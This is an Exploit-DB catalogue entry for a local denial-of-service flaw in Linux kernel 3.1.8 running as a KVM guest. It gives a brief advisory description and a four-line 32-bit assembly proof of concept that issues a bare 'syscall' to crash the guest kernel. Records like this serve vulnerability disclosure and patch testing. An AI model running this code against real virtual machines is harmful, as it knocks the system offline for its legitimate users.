Linux Kernel 3.1.8 - KVM Local Denial of Service

EDB-ID:

36545




Platform:

Linux

Date:

2011-12-29


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The Linux kernel is prone to a local denial-of-service vulnerability.

Attackers can exploit this issue to cause the kernel to crash, denying service to legitimate users.

NOTE: This issue affects Linux kernels running as guest images. 

[bits 32]
global _start
SECTION .text
_start: syscall